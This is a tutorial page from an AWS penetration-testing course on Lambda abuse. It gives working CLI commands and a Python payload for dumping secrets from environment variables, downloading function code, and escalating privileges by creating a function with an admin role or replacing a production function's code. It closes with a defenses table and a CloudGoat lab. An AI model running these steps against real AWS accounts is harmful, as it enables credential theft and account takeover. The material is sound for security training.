> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/aws-pentesting/modules/04-lambda.md).

# Module 04 — Lambda Function Abuse

## 🎯 What You'll Learn

* How to enumerate Lambda functions and steal environment variables
* How to abuse Lambda execution roles
* How to invoke functions with malicious payloads
* How to use Lambda as a pivot point for privilege escalation

***

## 📖 Theory

AWS Lambda runs serverless code with an **execution role** — an IAM role attached to the function. If that role is overprivileged, gaining access to the Lambda (or creating one with that role) gives you those permissions.

Lambda functions often have secrets in **environment variables**: database URLs, API keys, internal tokens.

***

## 🔍 Phase 1 — Enumerate Lambda Functions

```bash
# List all Lambda functions
aws lambda list-functions --profile pentest --region us-east-1

# Get full details of a function (includes env vars!)
aws lambda get-function-configuration \
  --function-name target-function \
  --profile pentest

# Get the function code URL (download and analyze it)
aws lambda get-function \
  --function-name target-function \
  --profile pentest
# → Returns a presigned S3 URL to download the deployment package

# Download and unzip
curl -o function.zip "$(aws lambda get-function \
  --function-name target-function \
  --query 'Code.Location' \
  --output text \
  --profile pentest)"
unzip function.zip -d function-source/
grep -r "password\|secret\|key\|token" function-source/
```

***

## 💥 Phase 2 — Steal Environment Variables

Environment variables are visible to anyone who can call `GetFunctionConfiguration`:

```bash
aws lambda get-function-configuration \
  --function-name target-function \
  --profile pentest \
  --query 'Environment.Variables'

# Example output:
# {
#     "DB_PASSWORD": "prod-db-pass-123",
#     "STRIPE_SECRET_KEY": "sk_live_...",
#     "INTERNAL_API_TOKEN": "eyJhbGci..."
# }
```

***

## 💥 Phase 3 — Invoke Functions

```bash
# Invoke a function (may trigger internal actions)
aws lambda invoke \
  --function-name target-function \
  --payload '{"action": "test"}' \
  --profile pentest \
  output.txt

cat output.txt

# Invoke with a malicious-looking payload to probe behavior
aws lambda invoke \
  --function-name target-function \
  --payload '{"url": "http://your-server.com"}' \
  --profile pentest \
  output.txt
```

***

## ⬆️ Phase 4 — Privilege Escalation via Lambda

### Create a new Lambda with an admin role

If you have `iam:PassRole` + `lambda:CreateFunction` + `lambda:InvokeFunction`:

```python
# payload.py — Lambda function that exfils its own credentials
import boto3
import json
import os

def lambda_handler(event, context):
    # Get identity of the execution role
    sts = boto3.client('sts')
    identity = sts.get_caller_identity()
    
    # List all IAM users (proves admin access)
    iam = boto3.client('iam')
    users = iam.list_users()
    
    return {
        'identity': identity,
        'users': users['Users']
    }
```

```bash
# Zip the payload
zip payload.zip payload.py

# Create function with the admin execution role
aws lambda create-function \
  --function-name privesc-test \
  --runtime python3.11 \
  --role arn:aws:iam::123456789012:role/AdminLambdaRole \
  --handler payload.lambda_handler \
  --zip-file fileb://payload.zip \
  --profile pentest

# Invoke and capture admin output
aws lambda invoke \
  --function-name privesc-test \
  output.txt \
  --profile pentest

cat output.txt
```

### Update existing function to hijack its role

If you have `lambda:UpdateFunctionCode`:

```bash
# Replace the function code with your own
aws lambda update-function-code \
  --function-name existing-prod-function \
  --zip-file fileb://payload.zip \
  --profile pentest
```

***

## 🛡️ Defenses

| Attack                         | Defense                                                       |
| ------------------------------ | ------------------------------------------------------------- |
| Steal env vars                 | Use Secrets Manager instead of env vars                       |
| Invoke functions               | Restrict `lambda:InvokeFunction` with resource-based policies |
| CreateFunction with admin role | Restrict `iam:PassRole` to specific role ARNs                 |
| UpdateFunctionCode             | Use CodeSigning to require signed deployments                 |

***

## 🧪 Practice Lab

CloudGoat scenario: `lambda_privesc`

```bash
./cloudgoat.py create lambda_privesc
```

***

## 📎 References

* [HackTricks Lambda](https://cloud.hacktricks.xyz/pentesting-cloud/aws-pentesting/aws-lambda-attack)
* [Rhino Security Lambda PrivEsc](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/aws-pentesting/modules/04-lambda.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.